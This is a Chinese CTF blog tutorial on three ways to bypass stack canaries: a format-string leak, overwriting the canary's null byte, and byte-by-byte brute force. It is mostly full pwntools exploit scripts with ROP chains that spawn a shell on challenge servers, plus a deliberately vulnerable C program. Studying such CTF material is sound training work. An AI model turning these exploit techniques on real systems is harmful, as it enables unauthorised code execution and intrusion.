Canary,三种优雅姿势绕过

Canary(金丝雀),栈溢出保护

  1. canary保护是防止栈溢出的一种措施,其在调用函数时,在栈帧的上方放入一个随机值 ,绕过canary时首先需要泄漏这个随机值,然后再钩爪ROP链时将其作为垃圾数据写入,注意要放在rbp的前面,下面调试来观察随机值:

    image-20240630104806257

    1. 可以看到,在调用的函数的开头将rax作为随机值放入到了rbp上放的栈上

    image-20240630105026803

    image-20240630105225422

    1. 在函数的结尾,将随机值取出后,与本来的随机值做了对比,相同的才会返回,不同就会报错。
  2. 在进行栈溢出时,如果程序开启了canary保护,首先就需要泄漏这个随机值,否则其被覆盖掉后,程序在退出时再检查该值,会引发错误。

1. 利用printf格式化字符串 泄漏随机值。

  1. 先确定 随机值 相对于 格式化字符串 的位置,再利用 %n7$p 来输出该位置的内容,然后就是常规的栈溢出ROP构造,但此时要注意将泄漏出来的 canary 填充再rbp位置的前面:

  2. 例题:BUUCTF在线评测 (buuoj.cn)

from pwn import *
from LibcSearcher import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
p = remote("node5.buuoj.cn",29861)
elf = ELF('./bjdctf_2020_babyrop2')
#获取got、plt地址
got = elf.got['puts']
plt = elf.plt['puts']
print(hex(got),hex(plt))

p.recvuntil(b"I'll give u some gift to help u!\n")
#泄漏canary
p.sendline(b'%7$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print("canary:",hex(canary))

#获取传参地址
pop_rdi_ret = 0x0000000000400993
#获取返回地址,便于下一次利用栈溢出
main_addr = 0x400887
print(hex(main_addr))
ret = 0x00000000004005f9

#构造payload,获得puts函数的地址,注意绕过canary,在rbp前面填充canary,计算canary前后填充的垃圾数据
payload = b'a'*(0x18)+p64(canary)+b'a'*8+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(main_addr)
p.sendline(payload)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
libc = LibcSearcher('puts',addr)
libc_base = addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')
print(hex(libc_base),hex(sys_addr),hex(str_bin))

p.recvuntil(b'Pull up your sword and tell me u story!\n')
#第二次利用栈溢出
payload = b'a'*(0x18)+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi_ret)+p64(str_bin)+p64(sys_addr)+p64(main_addr)
p.sendline(payload)
#p.sendline(b'cat flag')
# 与远程交互
p.interactive()


2. 覆盖截断字符获取canary

  1. Canry的最底一个字节设计为b’\x00’,是为了防止put,write,printf登将canary读出。如果利用栈溢出将最低位的b’\x00’覆盖,就可以利用答应函数将canary一致输出,最后再在最低位拼接上 b'\x00'就可以得到canary。

  2. 实例:

    // test.c
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    void getshell(void) {
        system("/bin/sh");
    }
    void init() {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);
    }
    void vuln() {
        char buf[100];
        for(int i=0;i<2;i++){
            read(0, buf, 0x200);
            printf(buf);
        }
    }
    int main(void) {
        init();
        puts("Hello Hacker!");
        vuln();
        return 0;
    }
    
    
  3. 覆盖canary的最后一个字节,并从新组成canary:

    1. 首先确定要覆盖的位置,由于是 小端序 所以最后一个字节在高位,找到canary的偏移 var_c 后于 buf 相减再加一就可以指向canary的最低字节处,将其覆盖位a(注意使用send发送,不要最后的 回车符 )接受返会后要 拼接canary

      image-20240630204202081

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    p = process("./test")
    p.recvuntil(b'Hello Hacker!\n')
    #发送var_c-buf+1个 b'a',最后一个a可以覆盖掉canary的最低字节 b`\x00`
    payload = b'a'*(0x70-0xc+1)
    p.send(payload)
    #接受返回后从行拼接canary
    canary = p.recv()[0x65:0x68]
    canary = canary.rjust(4,b'\x00')
    print(hex(u32(canary)))
    
    1. 再利用canary绕过金丝雀。

      shell = 0x080491B6
      #canary后面还有0xc个字节才到返回地址,而不是仅查一个ebp(4个字节)
      payload = b'a'*(0x70-0xc)+canary+b'a'*(0x8+4)+p32(shell)
      p.sendline(payload)
      # 与远程交互
      p.interactive()
      

3. 逐字节爆破

题目地址:pwn

注意:canary爆破时,利用栈溢出,溢出到canary位置,从低位到高位 逐次覆盖掉canary的4个字节(一位无法绕过低位字节堆高位进行爆破,所以必须从低到高),且要求canary不能变化,绕过重开程序canary变化,就不适用爆破了。

  1. 函数的主逻辑在ctfshow,前面的函数基本无用,ctfshow中存在栈溢出:

    image-20240706175916809

  2. 爆破脚本:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"Canary Value Incorrect!\n" not in  data:
            canary = data
            print(canary,i)
            break
    
    

    第一次爆破出来是:

    image-20240706183936688

    下面爆破第二个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    
    

    image-20240706184045278

    第三个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        # p = process('./pwn')
        # elf = ELF('./pwn')
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(54)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    

    image-20240706184250681

    第四个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(54)+int.to_bytes(68)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    

    image-20240706184354494

  3. 所以最后canary确定为0x21443633。注意大小端序,最后验证爆破的canary:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    p = remote("pwn.challenge.ctf.show",28104)
    p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
    p.sendline(b'100')
    p.recv()
    payload = b'a'*(32)+p32(0x21443633)+b'a'*(0xc+4)+p32(0x08048696)
    p.send(payload)
    p.recv()
    p.interactive()
    
    

    image-20240706184952360

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值